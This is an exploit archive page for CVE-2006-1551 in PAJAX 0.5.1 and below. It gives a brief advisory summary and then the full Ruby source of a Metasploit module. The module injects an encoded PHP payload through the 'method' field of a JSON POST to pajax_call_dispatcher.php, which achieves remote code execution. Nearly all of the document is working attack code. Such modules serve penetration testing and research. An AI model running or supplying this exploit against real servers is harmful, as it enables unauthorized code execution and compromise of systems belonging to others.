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PAJAX Remote Command Execution

PAJAX Remote Command Execution
Posted Oct 30, 2009
Authored by Matteo Cantoni

RedTeam has identified two security flaws in PAJAX versions 0.5.1 and below. It is possible to execute arbitrary PHP code from unchecked user input. Additionally, it is possible to include arbitrary files on the server ending in ".class.php".

tags | exploit, arbitrary, php
advisories | CVE-2006-1551
SHA-256 | 223f89066530be65e8100cf31774da9860ea9f254965c65c5bc52ade6f7acfac

PAJAX Remote Command Execution

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##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote

include Msf::Exploit::Remote::Tcp
include Msf::Exploit::Remote::HttpClient

def initialize(info = {})
super(update_info(info,
'Name' => 'PAJAX Remote Command Execution',
'Description' => %q{
RedTeam has identified two security flaws in PAJAX (<= 0.5.1).
It is possible to execute arbitrary PHP code from unchecked user input.
Additionally, it is possible to include arbitrary files on the server
ending in ".class.php".
},
'Author' => [ 'Matteo Cantoni <goony[at]nothink.org>', 'hdm' ],
'License' => MSF_LICENSE,
'Version' => '$Revision$',
'References' =>
[
['CVE', '2006-1551'],
['OSVDB', '24618'],
['BID', '17519'],
['URL', 'http://www.redteam-pentesting.de/advisories/rt-sa-2006-001.php'],
],
'Privileged' => false,
'Payload' =>
{
'DisableNops' => true,
'Compat' =>
{
'ConnectionType' => 'find',
},
'Space' => 4000,
},
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Targets' => [[ 'Automatic', { }]],
'DisclosureDate' => 'Mar 30 2006',
'DefaultTarget' => 0))

register_options(
[
OptString.new('URI', [true, "The full URI path to pajax_call_dispatcher.php", "/pajax/pajax/pajax_call_dispatcher.php"]),
OptString.new('MOD', [true, "The PAJAX module name", "Calculator"])
], self.class)
end


def exploit

args = %Q!{ "id": "bb2238f1186dad8d6370d2bab5f290f71", "className": "#{datastore['MOD']}", "method": "add(1,1);#{payload.encoded};$obj->add", "params": ["1", "5"] }!

res = send_request_cgi({
'uri' => datastore['URI'],
'method' => 'POST',
'data' => args,
'ctype' => 'text/x-json'
}, 25)

if (res)
print_status("The server returned: #{res.code} #{res.message}")
else
print_status("No response from the server")
end
end

end

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